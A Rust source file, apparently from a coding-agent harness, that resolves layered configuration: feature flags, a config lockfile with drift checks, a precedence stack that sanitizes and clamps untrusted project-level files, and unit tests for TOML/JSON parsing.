    pub stage: ExperimentalStage,
    /// One line, as `supercode features list` / `/experimental` print it.
    pub summary: &'static str,
}

/// Every `[experimental]` flag this build knows, in display order. The
/// denominator for `supercode features list` and the REPL's
/// `/experimental` — a flag that isn't here is an unknown key (reported by
/// [`unknown_experimental_flags`]), not a silent no-op.
pub const EXPERIMENTAL_FLAGS: &[ExperimentalFlag] = &[ExperimentalFlag {
    name: "module_registry",
    stage: ExperimentalStage::Default,
    summary: "Resolve the tool registry and MCP attach from the module set \
              (§5.3 risk 2). BP-1 promoted this to the default path; set it \
              to `false` for the unfiltered legacy `with_builtins()` stack.",
}];

/// Look one flag up by name.
pub fn experimental_flag(name: &str) -> Option<&'static ExperimentalFlag> {
    EXPERIMENTAL_FLAGS.iter().find(|f| f.name == name)
}

/// A flag's value when the config is silent — its stage's default. An
/// UNKNOWN flag defaults to `false`: a build that doesn't know the gate
/// cannot honor it, and pretending otherwise would silently enable
/// something on a config written for a newer build.
pub fn experimental_default(name: &str) -> bool {
    experimental_flag(name).is_some_and(|f| f.stage.default_on())
}

/// One flag's resolved state, as the `features` surfaces print it.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct ExperimentalFlagState {
    /// `[experimental]` key.
    pub name: String,
    /// Stage label (`experimental` | `beta` | `default`).
    pub stage: String,
    /// One-line description.
    pub summary: String,
    /// Value with the config silent.
    pub default: bool,
    /// Value under this config.
    pub enabled: bool,
    /// Whether the config set it explicitly (vs. inheriting the default).
    pub explicit: bool,
}

/// BP-9: every known flag's resolved state under `hc`, in registry order.
pub fn experimental_states(hc: &HarnessConfig) -> Vec<ExperimentalFlagState> {
    EXPERIMENTAL_FLAGS
        .iter()
        .map(|f| {
            let set = hc.experimental.get(f.name).and_then(|v| v.as_bool());
            ExperimentalFlagState {
                name: f.name.to_string(),
                stage: f.stage.label().to_string(),
                summary: f.summary.to_string(),
                default: f.stage.default_on(),
                enabled: set.unwrap_or_else(|| f.stage.default_on()),
                explicit: set.is_some(),
            }
        })
        .collect()
}

/// `[experimental]` keys this build has no gate for — reported as
/// resolve-time warnings so a typo'd flag never looks honored.
pub fn unknown_experimental_flags(hc: &HarnessConfig) -> Vec<String> {
    hc.experimental
        .keys()
        .filter(|k| experimental_flag(k).is_none())
        .cloned()
        .collect()
}

/// §3.5's resolver output: one materialized [`Config`] (step 7), the folded
/// `HarnessConfig` it came from (defaults < preset layer < user file <
/// sanitized project file, step 4), every named module's activation state
/// (step 7's "module-activation set"), the resolved preset chain
/// (root-first, informational), and any non-fatal warnings collected along
/// the way (lenient-mode unknown keys, D-7/D-9 fallbacks, C1/C3/C4/C6,
/// sanitizer/clamp notices from a project layer).
pub struct Resolved {
    /// The materialized SDK [`Config`].
    pub config: Config,
    /// The final folded `HarnessConfig`, before [`Config`] materialization.
    pub harness: HarnessConfig,
    /// Every named module's activation state ([`MODULE_NAMES`] +
    /// [`NESTED_MODULE_NAMES`]).
    pub modules: BTreeMap<String, bool>,
    /// The resolved `extends` chain, root-first (empty if the top file set
    /// no `extends`).
    pub preset_chain: Vec<String>,
    /// Non-fatal diagnostics.
    pub warnings: Vec<String>,
}

/// BP-9 (D6 row "Config reproducibility lockfile", cx§6
/// `[debug.config_lockfile]`): a resolved-config SNAPSHOT pinned to the
/// build that produced it. Written by `supercode config lock`, verified by
/// `supercode config check --lock`.
///
/// The snapshot is the FOLDED [`HarnessConfig`] (every layer already
/// merged, sanitized and clamped) plus the `extends` chain it came from and
/// the supercode version that resolved it — the three things that have to
/// match for a rerun to mean the same thing. It is deliberately NOT the
/// materialized [`Config`]: that type carries boxed callbacks, isn't
/// serializable, and would make the lockfile a snapshot of the CODE rather
/// than of the CONFIG.
#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
pub struct ConfigLock {
    /// Lockfile format version; `1` is the only one this build writes.
    pub lock_version: u32,
    /// The supercode version whose resolver produced `config`.
    pub supercode_version: String,
    /// The resolved `extends` chain, root-first.
    pub preset_chain: Vec<String>,
    /// The fully-folded config.
    pub config: HarnessConfig,
}

/// The lockfile format version this build writes and understands.
pub const CONFIG_LOCK_VERSION: u32 = 1;

/// The lockfile's conventional filename, resolved against the project root.
pub const CONFIG_LOCK_FILENAME: &str = ".supercode.lock";

impl ConfigLock {
    /// Snapshot a [`Resolved`].
    pub fn from_resolved(resolved: &Resolved, supercode_version: &str) -> Self {
        ConfigLock {
            lock_version: CONFIG_LOCK_VERSION,
            supercode_version: supercode_version.to_string(),
            preset_chain: resolved.preset_chain.clone(),
            config: resolved.harness.clone(),
        }
    }

    /// Render as pretty JSON (the on-disk form: one canonical serializer,
    /// diffable in review, and a superset of what TOML can express — a
    /// `[capabilities.*]` settings blob is untyped JSON already).
    pub fn to_json(&self) -> String {
        serde_json::to_string_pretty(self).expect("ConfigLock serializes")
    }

    /// Parse the on-disk form.
    pub fn from_json(text: &str) -> Result<Self, serde_json::Error> {
        serde_json::from_str(text)
    }

    /// BP-9: what changed between this lock and a fresh resolve — one line
    /// per drifting dotted key, plus the version/chain lines. EMPTY means
    /// the environment reproduces the lock exactly.
    ///
    /// The version is compared because a resolver change can silently
    /// alter what the SAME config text means; the chain because a preset
    /// swapped underneath is drift even when the folded result happens to
    /// look similar.
    pub fn drift(&self, resolved: &Resolved, supercode_version: &str) -> Vec<String> {
        let mut out = Vec::new();
        if self.lock_version != CONFIG_LOCK_VERSION {
            out.push(format!(
                "lock_version: locked {} != this build's {CONFIG_LOCK_VERSION}",
                self.lock_version
            ));
        }
        if self.supercode_version != supercode_version {
            out.push(format!(
                "supercode_version: locked {} != running {supercode_version}",
                self.supercode_version
            ));
        }
        if self.preset_chain != resolved.preset_chain {
            out.push(format!(
                "preset_chain: locked [{}] != resolved [{}]",
                self.preset_chain.join(" -> "),
                resolved.preset_chain.join(" -> ")
            ));
        }
        let locked = serde_json::to_value(&self.config).unwrap_or(serde_json::Value::Null);
        let fresh = serde_json::to_value(&resolved.harness).unwrap_or(serde_json::Value::Null);
        diff_json_keys("", &locked, &fresh, &mut out);
        out
    }
}

/// Recursively compare two JSON documents, appending `key: locked X !=
/// resolved Y` for every leaf that differs. Objects recurse; anything else
/// (scalars, arrays) compares whole, matching §3.3's "arrays replace
/// wholesale" semantics — a changed array IS one change, not N.
fn diff_json_keys(
    prefix: &str,
    locked: &serde_json::Value,
    fresh: &serde_json::Value,
    out: &mut Vec<String>,
) {
    match (locked, fresh) {
        (serde_json::Value::Object(a), serde_json::Value::Object(b)) => {
            let mut keys: Vec<&String> = a.keys().chain(b.keys()).collect();
            keys.sort_unstable();
            keys.dedup();
            for k in keys {
                let path = if prefix.is_empty() {
                    k.clone()
                } else {
                    format!("{prefix}.{k}")
                };
                let null = serde_json::Value::Null;
                diff_json_keys(
                    &path,
                    a.get(k).unwrap_or(&null),
                    b.get(k).unwrap_or(&null),
                    out,
                );
            }
        }
        (a, b) if a != b => out.push(format!("{prefix}: locked {a} != resolved {b}")),
        _ => {}
    }
}

/// Manual `Debug`: [`Config`] itself isn't `Debug` (it carries boxed
/// callbacks — hooks/handlers, config.rs), so this prints everything else,
/// which is what `Result::expect`/`expect_err` need to produce a useful
/// panic message in tests.
impl std::fmt::Debug for Resolved {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        f.debug_struct("Resolved")
            .field("config", &"<Config, not Debug>")
            .field("harness", &self.harness)
            .field("modules", &self.modules)
            .field("preset_chain", &self.preset_chain)
            .field("warnings", &self.warnings)
            .finish()
    }
}

/// Options controlling [`resolve`]'s step 5 validation strictness.
#[derive(Debug, Clone, Copy, Default)]
pub struct ResolveOptions {
    /// `--strict-config` (§3.5 step 5): unknown keys under `schema_version =
    /// 1` are errors instead of warnings.
    pub strict: bool,
}

/// Everything that can fail §3.5 resolution.
#[derive(Debug)]
pub enum ResolveError {
    /// The document isn't valid TOML/JSON, or doesn't match the schema.
    Parse(HarnessConfigError),
    /// `extends` formed a cycle (step 2). Carries the visitation chain,
    /// ending with the name that closed the loop.
    Cycle(Vec<String>),
    /// The `extends` chain exceeded the depth-8 cap (step 2).
    DepthExceeded(Vec<String>),
    /// `extends` named a path from a layer where only built-in preset names
    /// are legal (§3.3: a project file may never `extends` a path).
    PathExtendsNotAllowed(String),
    /// A preset file path could not be read.
    Io(std::path::PathBuf, String),
    /// Strict mode (step 5): the document set a key this build doesn't
    /// recognize under `schema_version = 1`.
    UnknownKey(String),
    /// BP-9: a `-c/--config key=value` assignment could not be parsed.
    InlineOverride(String),
    /// Step 6: an enabled module's hard dependency is unmet.
    MissingDependency {
        /// The module that requires something.
        module: String,
        /// What it requires and doesn't have.
        requires: String,
    },
    /// BP-13 (catalog D9 "Org model allowlists / effort caps"): a model
    /// this config's `capabilities.model_catalog.allowed_models` /
    /// `denied_models` lists refuse. A refusal is an ERROR, never a
    /// warning: a restriction that resolves to "we ran it anyway" is not a
    /// restriction.
    ModelNotAllowed(String),
    /// Step 6: an unresolvable §2.2 conflict (only C6 today — every other
    /// implemented conflict degrades to a warning per §2.2's own resolution
    /// text).
    Conflict {
        /// The conflict's §2.2 name (e.g. `"C6"`).
        name: String,
        /// Human-readable detail.
        detail: String,
    },
}

impl std::fmt::Display for ResolveError {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        match self {
            ResolveError::Parse(e) => write!(f, "{e}"),
            ResolveError::ModelNotAllowed(detail) => write!(f, "{detail}"),
            ResolveError::Cycle(chain) => {
                write!(f, "extends cycle detected: {}", chain.join(" -> "))
            }
            ResolveError::DepthExceeded(chain) => write!(
                f,
                "extends chain exceeds the depth-8 cap (§3.5 step 2): {}",
                chain.join(" -> ")
            ),
            ResolveError::PathExtendsNotAllowed(p) => write!(
                f,
                "extends = \"{p}\" names a path, which is only legal at the user/global layer \
                 (§3.3: a project file may never `extends` a path)"
            ),
            ResolveError::Io(path, e) => write!(f, "failed to read {}: {e}", path.display()),
            ResolveError::UnknownKey(k) => write!(
                f,
                "unknown key `{k}` under schema_version = 1 (strict mode, §3.5 step 5)"
            ),
            ResolveError::InlineOverride(detail) => {
                write!(f, "invalid inline config override: {detail}")
            }
            ResolveError::MissingDependency { module, requires } => write!(
                f,
                "{module} is enabled but its hard dependency is unmet: requires {requires} \
                 (§2.1, §3.5 step 6)"
            ),
            ResolveError::Conflict { name, detail } => write!(f, "{name}: {detail}"),
        }
    }
}

impl std::error::Error for ResolveError {}

/// BP-9 (D6 rows "Layered config w/ precedence" + "Inline per-run config
/// override"): every layer that sits ABOVE the trusted user/global file,
/// lowest priority first. Passing `ConfigLayers::default()` is exactly
/// today's single-project-layer behavior.
///
/// **The precedence line, lowest to highest** (`§3.3`, cx§6's
/// `mdm → system → user → profile → project → flags` ordering):
///
/// ```text
///   built-in defaults
/// < preset chain (`extends`, root-first)
/// < user / global file            (~/.config/supercode/config.toml)
/// < selected profile              (`--profile <name>`, CLI-side layer)
/// < project file                  (.supercode.toml            — UNTRUSTED)
/// < project-local file            (.supercode.local.toml      — UNTRUSTED)
/// < `--settings <json|path>`      (per-run, typed at launch)
/// < `-c/--config key=value`       (per-run, typed at launch)
/// < individual CLI flags
/// ```
///
/// The two UNTRUSTED layers are sanitized and clamped INDIVIDUALLY before
/// merge — `.supercode.local.toml` is gitignored *by convention*, and a
/// convention is not a trust boundary: nothing stops a repo from committing
/// one. It therefore gets the identical §3.3 treatment as
/// `.supercode.toml`, and buys precedence over the checked-in project file
/// (its actual purpose: your own per-checkout overrides), never new
/// authority.
///
/// The two per-run layers ARE trusted: a `--settings`/`-c` value was typed
/// on the command line by the person running the tool, the same trust level
/// as any other flag. They are applied THROUGH this resolver rather than
/// poked onto the materialized `Config`, so a per-run override can never
/// bypass the project sanitization/clamping that already ran below it.
#[derive(Debug, Clone, Copy, Default)]
pub struct ConfigLayers<'a> {
    /// `.supercode.toml` text (untrusted).
    pub project_toml: Option<&'a str>,
    /// `.supercode.local.toml` text (untrusted; per-user by convention).
    pub local_toml: Option<&'a str>,
    /// `--settings` documents: inline JSON (`{…}`), inline TOML, or a path
    /// to a `.json`/`.toml` file. Applied in order.
    pub settings: &'a [String],
    /// `-c/--config key=value` assignments, dotted TOML keys with
    /// TOML-typed values. Applied last, in order.
    pub overrides: &'a [String],
}

/// §3.5's resolver entry point: `top_toml` is the file being resolved (e.g.
/// the user's config) — it may set `extends` (steps 1-3). `project_toml` is
/// an optional second, untrusted layer (§3.3) — ALWAYS sanitized and
/// clamped before merge (step 4), regardless of what it sets. `opts`
/// controls step 5's strictness. Steps 6-7 (module validation, `Config`
/// materialization) run last, over the fully-folded result.
///
/// See [`resolve_with_layers`] for the full BP-9 layer stack (project-local
/// file, `--settings`, `-c key=value`); this entry point is that one with
/// only the project layer populated.
pub fn resolve(
    top_toml: &str,
    project_toml: Option<&str>,
    opts: &ResolveOptions,
) -> Result<Resolved, ResolveError> {
    resolve_with_layers(
        top_toml,
        &ConfigLayers {
            project_toml,
            ..Default::default()
        },
        opts,
    )
}

/// BP-9: [`resolve`] over the whole layer stack — see [`ConfigLayers`] for
/// the precedence line and which layers are trusted.
pub fn resolve_with_layers(
    top_toml: &str,
    layers: &ConfigLayers<'_>,
    opts: &ResolveOptions,
) -> Result<Resolved, ResolveError> {
    let mut warnings = Vec::new();

    let top_unknown = unknown_keys(top_toml).map_err(ResolveError::Parse)?;
    if opts.strict {
        if let Some(first) = top_unknown.first() {
            return Err(ResolveError::UnknownKey(first.clone()));
        }
    } else {
        for k in &top_unknown {
            warnings.push(format!(
                "unknown key `{k}` (lenient mode; would error under --strict-config, §3.5 step 5)"
            ));
        }
    }

    let top = HarnessConfig::from_toml_str(top_toml).map_err(ResolveError::Parse)?;
    resolve_top(top, layers, opts, warnings)
}

/// P3 CLI-wiring entry point (design §5.2 P3, "CLI load path resolves
/// config through the P2 resolver"): resolve an already-*typed*
/// `HarnessConfig` — e.g. one assembled by the CLI from its own
/// `FileConfig`'s forward-compatible `extends`/`capabilities`/`experimental`
/// fields, which are ALREADY sanitized/merged by `userconfig.rs`'s own
/// project-layer handling (`sanitized_for_project`/`overlay_project`) before
/// this ever sees them — so there is no second untrusted text layer to
/// merge here, unlike [`resolve`]. `top.extends` is still chased (steps
/// 1-3) exactly as [`resolve`] does; when `top.extends` is `None`, callers
/// that want "no config file ⇒ `supercode-default` semantics" (design §4
/// intro: "supercode with no config file resolves to this preset") must set
/// `top.extends = Some("supercode-default".to_string())` themselves before
/// calling this — this function does not silently default it, since a
/// SILENT default would be exactly the kind of implicit behavior the
/// `supercode-default` preset exists to name instead of hide.
pub fn resolve_harness(
    top: HarnessConfig,
    opts: &ResolveOptions,
) -> Result<Resolved, ResolveError> {
    resolve_top(top, &ConfigLayers::default(), opts, Vec::new())
}

/// BP-9: [`resolve_harness`] with the per-run layers applied on top —
/// the CLI's route for `--settings`/`-c`, whose file layers were already
/// merged into `top` by `userconfig.rs`.
pub fn resolve_harness_with_layers(
    top: HarnessConfig,
    layers: &ConfigLayers<'_>,
    opts: &ResolveOptions,
) -> Result<Resolved, ResolveError> {
    resolve_top(top, layers, opts, Vec::new())
}

/// Step 4 for ONE untrusted text layer (`.supercode.toml` or
/// `.supercode.local.toml`): unknown-key check, §3.3 sanitization,
/// deny-unioning permission merge, then the monotonic-tightening clamp
/// against `base`. Factored out of [`resolve_top`] so both untrusted layers
/// go through byte-identical handling — a second copy of this logic is
/// exactly how a `.local` file would quietly acquire authority the project
/// file doesn't have.
fn merge_untrusted_layer(
    base: &HarnessConfig,
    text: &str,
    label: &str,
    opts: &ResolveOptions,
    warnings: &mut Vec<String>,
) -> Result<HarnessConfig, ResolveError> {
    let unknown = unknown_keys(text).map_err(ResolveError::Parse)?;
    if opts.strict {
        if let Some(first) = unknown.first() {
            return Err(ResolveError::UnknownKey(first.clone()));
        }
    } else {
        for k in &unknown {
            warnings.push(format!(
                "unknown key `{k}` in {label} (lenient mode, §3.5 step 5)"
            ));
        }
    }
    let parsed = HarnessConfig::from_toml_str(text).map_err(ResolveError::Parse)?;
    let (sanitized, dropped) = sanitize_for_project(&parsed);
    for d in &dropped {
        warnings.push(format!(
            "{label}: dropped untrusted key `{d}` (§3.3 monotonic tightening)"
        ));
    }
    let mut merged = base.overlay(&sanitized);
    // HIGH fix (Fable-5 P4a review, Attack A/B; §3.3 monotonic tightening):
    // `HarnessConfig::overlay`'s general `merge_capabilities` already
    // deep-merges (no Attack A here), but still lets a sanitized project
    // `rules.deny` REPLACE the trusted layer's (Attack B) since arrays
    // replace wholesale. Recompute the merged `permissions` capability
    // through the canonical, deny-unioning `merge_permissions_capability` —
    // the exact same function the CLI route
    // (`userconfig.rs::overlay_project`) calls, so the two routes agree.
    match merge_permissions_capability(
        base.capabilities.get("permissions"),
        sanitized.capabilities.get("permissions"),
    ) {
        Some(mp) => {
            merged.capabilities.insert("permissions".to_string(), mp);
        }
        None => {
            merged.capabilities.remove("permissions");
        }
    }
    match merge_reduction_capability(
        base.capabilities.get("reduction"),
        sanitized.capabilities.get("reduction"),
    ) {
        Some(reduction) => {
            merged
                .capabilities
                .insert("reduction".to_string(), reduction);
        }
        None => {
            merged.capabilities.remove("reduction");
        }
    }
    let clamped = clamp_project_permissions(base, &sanitized, &mut merged);
    for c in &clamped {
        warnings.push(format!(
            "{label}: clamped `{c}` to the stricter base-layer value \
             (§3.3 monotonic tightening)"
        ));
    }
    Ok(merged)
}

/// BP-9: one `--settings` document as a [`HarnessConfig`] layer. `spec` is
/// inline JSON (starts with `{`), inline TOML, or a path to a `.json`/
/// `.toml` file. TRUSTED (typed at launch) — no §3.3 sanitization, exactly
/// like any other flag.
fn settings_layer(spec: &str, opts: &ResolveOptions) -> Result<HarnessConfig, ResolveError> {
    let trimmed = spec.trim();
    if trimmed.starts_with('{') {
        return parse_settings_json(trimmed, "--settings", opts);
    }
    let path = std::path::Path::new(trimmed);
    let text = std::fs::read_to_string(path)
        .map_err(|e| ResolveError::Io(path.to_path_buf(), e.to_string()))?;
    if path.extension().is_some_and(|e| e == "toml") {
        return parse_settings_toml(&text, &format!("--settings {trimmed}"), opts);
    }
    parse_settings_json(&text, &format!("--settings {trimmed}"), opts)
}

fn parse_settings_json(
    text: &str,
    label: &str,
    opts: &ResolveOptions,
) -> Result<HarnessConfig, ResolveError> {
    let value: serde_json::Value =
        serde_json::from_str(text).map_err(|e| ResolveError::Parse(HarnessConfigError::Json(e)))?;
    if opts.strict {
        if let Some(first) = unknown_keys_json(&value).first() {
            return Err(ResolveError::UnknownKey(format!("{first} ({label})")));
        }
    }
    HarnessConfig::from_json_str(text).map_err(ResolveError::Parse)
}

fn parse_settings_toml(
    text: &str,
    label: &str,
    opts: &ResolveOptions,
) -> Result<HarnessConfig, ResolveError> {
    if opts.strict {
        let unknown = unknown_keys(text).map_err(ResolveError::Parse)?;
        if let Some(first) = unknown.first() {
            return Err(ResolveError::UnknownKey(format!("{first} ({label})")));
        }
    }
    HarnessConfig::from_toml_str(text).map_err(ResolveError::Parse)
}

/// [`unknown_keys`] for a JSON document — the same bounded scope (top-level
/// keys, `[core]`'s direct keys, `[capabilities.*]`'s module names).
fn unknown_keys_json(value: &serde_json::Value) -> Vec<String> {
    let mut out = Vec::new();
    let Some(obj) = value.as_object() else {
        return out;
    };
    for k in obj.keys() {
        if !KNOWN_TOP_KEYS.contains(&k.as_str()) {
            out.push(k.clone());
        }
    }
    if let Some(core) = obj.get("core").and_then(|v| v.as_object()) {
        for k in core.keys() {
            if !KNOWN_CORE_KEYS.contains(&k.as_str()) {
                out.push(format!("core.{k}"));
            }
        }
    }
    if let Some(caps) = obj.get("capabilities").and_then(|v| v.as_object()) {
        for k in caps.keys() {
            if !MODULE_NAMES.contains(&k.as_str()) {
                out.push(format!("capabilities.{k}"));
            }
        }
    }
    out
}

/// BP-9: the `-c/--config key=value` assignments as one [`HarnessConfig`]
/// layer. Keys are dotted TOML paths (`core.tools.bash.timeout_secs`),
/// values are parsed as TOML (`30`, `true`, `"text"`, `["a", "b"]`,
/// `{ a = 1 }`) with a bare unquoted word falling back to a string, so
/// `-c core.model=opus` means what it looks like.
fn overrides_layer(
    assignments: &[String],
    opts: &ResolveOptions,
) -> Result<HarnessConfig, ResolveError> {
    let text = overrides_to_toml(assignments)?;
    parse_settings_toml(&text, "-c", opts)
}

/// BP-9: fold `key=value` assignments into one TOML document. Public so the
/// CLI can show the user exactly what their `-c` flags assembled into
/// (`supercode config check`) without re-implementing the parse.
pub fn overrides_to_toml(assignments: &[String]) -> Result<String, ResolveError> {
    let mut root = toml::value::Table::new();
    for assignment in assignments {
        let (key, raw) = assignment.split_once('=').ok_or_else(|| {
            ResolveError::InlineOverride(format!(
                "`{assignment}` is not a `key=value` assignment (expected e.g. \
                 `core.max_tokens=4096`)"
            ))
        })?;
        let key = key.trim();
        if key.is_empty() || key.split('.').any(|p| p.trim().is_empty()) {
            return Err(ResolveError::InlineOverride(format!(
                "`{assignment}` has an empty key segment"
            )));
        }
        let value = parse_override_value(raw);
        insert_dotted(&mut root, key, value).map_err(ResolveError::InlineOverride)?;
    }
    toml::to_string(&toml::Value::Table(root))
        .map_err(|e| ResolveError::InlineOverride(format!("cannot render overrides: {e}")))
}

/// Parse one `-c` value as TOML; a bare word that isn't valid TOML is a
/// string (`-c core.model=opus`). An EMPTY value is the empty string, not a
/// parse error — `-c core.system_prompt=` is a legible way to blank a key.
fn parse_override_value(raw: &str) -> toml::Value {
    let doc = format!("v = {}", raw.trim());
    match toml::from_str::<toml::value::Table>(&doc) {
        Ok(t) => t
            .get("v")
            .cloned()
            .unwrap_or(toml::Value::String(raw.trim_start_matches(' ').to_string())),
        Err(_) => toml::Value::String(raw.to_string()),
    }
}

/// Insert `value` at the dotted `key` path, creating intermediate tables.
/// Errors when the path runs THROUGH a non-table (`-c core=1 -c core.x=2`)
/// rather than silently discarding one of the two assignments.
fn insert_dotted(
    root: &mut toml::value::Table,
    key: &str,
    value: toml::Value,
) -> Result<(), String> {
    let parts: Vec<&str> = key.split('.').map(str::trim).collect();
    let (last, parents) = parts.split_last().expect("non-empty key");
    let mut cursor = root;
    for part in parents {
        let entry = cursor
            .entry((*part).to_string())
            .or_insert_with(|| toml::Value::Table(toml::value::Table::new()));
        cursor = entry.as_table_mut().ok_or_else(|| {
            format!("`{key}` descends into `{part}`, which an earlier override set to a value")
        })?;
    }
    cursor.insert((*last).to_string(), value);
    Ok(())
}

/// Shared tail of [`resolve`]/[`resolve_harness`]: steps 1-7 over an
/// already-parsed top layer.
fn resolve_top(
    top: HarnessConfig,
    layers: &ConfigLayers<'_>,
    opts: &ResolveOptions,
    mut warnings: Vec<String>,
) -> Result<Resolved, ResolveError> {
    // Steps 1-3. Depth starts at 0: the top file's own `extends` is the
    // first hop, so an 8-hop chain (9 nodes total: the top file's target
    // plus 8 more ancestors) is exactly the depth-8 cap boundary.
    let mut preset_chain_names = Vec::new();
    let preset_layer = match &top.extends {
        Some(ext) => Some(resolve_preset_chain(
            ext,
            true,
            None,
            0,
            &mut preset_chain_names,
        )?),
        None => None,
    };
    preset_chain_names.reverse(); // visitation order is leaf-first; root-first for diagnostics.

    let mut top_no_extends = top.clone();
    top_no_extends.extends = None;
    let user_layer = match &preset_layer {
        Some(pl) => pl.overlay(&top_no_extends),
        None => top_no_extends,
    };

    // Step 4: sanitize-before-merge, exactly like `load()` today
    // (userconfig.rs:217-224) — then clamp sandbox/approval to no looser
    // than the (trusted) user layer's own effective posture. BP-9: the
    // project-local `.supercode.local.toml` layer gets the identical
    // treatment, applied ABOVE the project file — see [`ConfigLayers`].
    let mut final_hc = user_layer.clone();
    for (label, text) in [
        ("project config", layers.project_toml),
        ("project-local config", layers.local_toml),
    ] {
        let Some(text) = text else { continue };
        // The base is the ACCUMULATED result, not the user layer: a
        // project file that tightened the posture must not be loosened
        // back up by the local file sitting above it.
        final_hc = merge_untrusted_layer(&final_hc, text, label, opts, &mut warnings)?;
    }

    // BP-9 (D6 row "Inline per-run config override"): the trusted per-run
    // layers, on top of everything the files resolved to. Applied here —
    // inside the resolver, after sanitization/clamping — so a `--settings`
    // or `-c` value goes through the same materialization as any file key
    // and can never sidestep the untrusted-layer handling above it.
    for spec in layers.settings {
        let settings = settings_layer(spec, opts)?;
        final_hc = final_hc.overlay(&settings);
    }
    if !layers.overrides.is_empty() {
        let inline = overrides_layer(layers.overrides, opts)?;
        final_hc = final_hc.overlay(&inline);
    }

    // `resolve_harness` starts from an already-typed HarnessConfig, so it
    // cannot use the raw-TOML `unknown_keys` pass above. Capability names
    // intentionally remain forward-compatible map keys in that type; name
    // typos would therefore otherwise disappear silently at materialization.
    // Surface them in lenient mode just like raw `resolve` does, while
    // avoiding a duplicate when the raw pass already named the same path.
    for name in final_hc.capabilities.keys() {
        if !MODULE_NAMES.contains(&name.as_str()) {
            let path = format!("capabilities.{name}");
            if !warnings.iter().any(|warning| warning.contains(&path)) {
                warnings.push(format!(
                    "unknown capability module `{path}` (lenient mode; ignored)"
                ));
            }
        }
    }

    // BP-10 (catalog row "Named permission profiles", cx§4's
    // `[permissions.<name>]` Beta): fold the SELECTED named bundle into
    // `capabilities.permissions` here — after every layer and every clamp,
    // before validation and materialization — so one artifact carries the
    // effective permission posture and `effective_sandbox`/
    // `effective_approval`/`materialize_config`/`validate_modules` can
    // never disagree about which bundle is in force.
    warnings.extend(apply_permission_profile(&mut final_hc));

    // BP-9 (D6 "Feature-flag system"): an `[experimental]` key with no gate
    // behind it in THIS build does nothing. Say so rather than letting a
    // typo (or a flag from a newer build) look honored.
    for name in unknown_experimental_flags(&final_hc) {
        warnings.push(format!(
            "unknown experimental flag `experimental.{name}` (no gate in this build; ignored) \
             — `supercode features list` shows every flag this build knows"
        ));
    }

    // BP-9 (D6 "Env/command substitution in config values"): the `!command`
    // form is refused, loudly — see `command_substitution_refusals`.
    warnings.extend(command_substitution_refusals(&final_hc));

    // Step 6.
    let module_warnings = validate_modules(&final_hc, preset_layer.as_ref())?;
    warnings.extend(module_warnings);

    // Step 7.
    let config = materialize_config(&final_hc);
    let modules = activation_set(&final_hc);

    Ok(Resolved {
        config,
        harness: final_hc,
        modules,
        preset_chain: preset_chain_names,
        warnings,
    })
}

#[cfg(test)]
mod tests {
    use super::*;

    const SAMPLE_TOML: &str = r#"
schema_version = 1
extends = "pi-core"

[core]
model = "anthropic/claude-opus-4-8"
effort = "high"
max_iterations = 40
project_context = true

[core.compaction]
after_messages = 50
reserve_tokens = 24000

[core.tools]
enabled = ["read_file", "bash", "edit_file", "write_file"]
schema_tier = "medium"

[core.tools.bash]
enabled = true
timeout_secs = 120

[capabilities.todos]
enabled = true

[capabilities.reduction]
enabled = true
span_summaries = true

[experimental]
some_staged_flag = true
"#;

    #[test]
    fn harness_config_parses_the_annotated_schema() {
        let hc = HarnessConfig::from_toml_str(SAMPLE_TOML).expect("parses");
        assert_eq!(hc.schema_version, 1);
        // `extends` parses but P1 does not resolve it (§3.5 is P2).
        assert_eq!(hc.extends.as_deref(), Some("pi-core"));
        assert_eq!(hc.core.model.as_deref(), Some("anthropic/claude-opus-4-8"));
        assert_eq!(hc.core.effort.as_deref(), Some("high"));
        assert_eq!(hc.core.max_iterations, Some(40));
        assert_eq!(hc.core.compaction.after_messages, Some(50));
        assert_eq!(hc.core.compaction.reserve_tokens, Some(24000));
        assert_eq!(hc.core.tools.schema_tier.as_deref(), Some("medium"));
        assert_eq!(hc.core.tools.bash.enabled, Some(true));
        assert_eq!(hc.core.tools.bash.timeout_secs, Some(120));
        // Capability tables parse as the surface (settings uninterpreted).
        assert_eq!(hc.capabilities["todos"].enabled, Some(true));
        assert_eq!(hc.capabilities["reduction"].enabled, Some(true));
        assert_eq!(
            hc.capabilities["reduction"].settings.get("span_summaries"),
            Some(&serde_json::Value::Bool(true))
        );
        assert_eq!(
            hc.experimental.get("some_staged_flag"),
            Some(&serde_json::Value::Bool(true))
        );
    }

    #[test]
    fn harness_config_resolves_core_into_a_real_config() {
        let hc = HarnessConfig::from_toml_str(SAMPLE_TOML).expect("parses");
        let config = hc.resolve_core();
        assert_eq!(config.model, "anthropic/claude-opus-4-8");
        assert_eq!(config.effort.as_deref(), Some("high"));
        assert_eq!(config.max_iterations, 40);
        assert_eq!(config.compact_after_messages, Some(50));
        assert_eq!(config.tool_schema_tier, crate::tools::SchemaTier::Medium);
        assert!(config.tool_enabled("bash"));
    }

    #[test]
    fn harness_config_json_mirror_round_trips_the_same_shape() {
        // §3.0: "a JSON mirror is defined by the same field names for the
        // SDK" — the same struct must parse both formats identically.
        // F7 fix: this used to compare only 3 hand-picked fields, which
        // couldn't catch a field silently dropped or diverging elsewhere in
        // the struct; compare full structural equality instead (both
        // `HarnessConfig` and `CapabilityConfig` now derive `PartialEq`).
        let toml_parsed = HarnessConfig::from_toml_str(SAMPLE_TOML).expect("toml parses");
        let json_text = serde_json::to_string(&toml_parsed).expect("serializes to json");
        let json_parsed = HarnessConfig::from_json_str(&json_text).expect("json parses back");
        assert_eq!(
            json_parsed, toml_parsed,
            "TOML- and JSON-parsed HarnessConfig must be structurally identical"
        );
    }

    /// F7: only `schema_version = 1` is understood in P1 — an unknown
    /// version must be rejected, not silently interpreted under today's
    /// field meanings.
    #[test]
    fn harness_config_rejects_unknown_schema_version() {
        let err = HarnessConfig::from_toml_str("schema_version = 2\n")
            .expect_err("schema_version 2 must be rejected");
        assert!(matches!(
            err,
            HarnessConfigError::UnsupportedSchemaVersion(2)
        ));

        let err = HarnessConfig::from_json_str(r#"{"schema_version": 2}"#)
            .expect_err("schema_version 2 must be rejected (json)");
        assert!(matches!(
            err,
            HarnessConfigError::UnsupportedSchemaVersion(2)
        ));

        // Version 1 (explicit or defaulted) still parses fine.
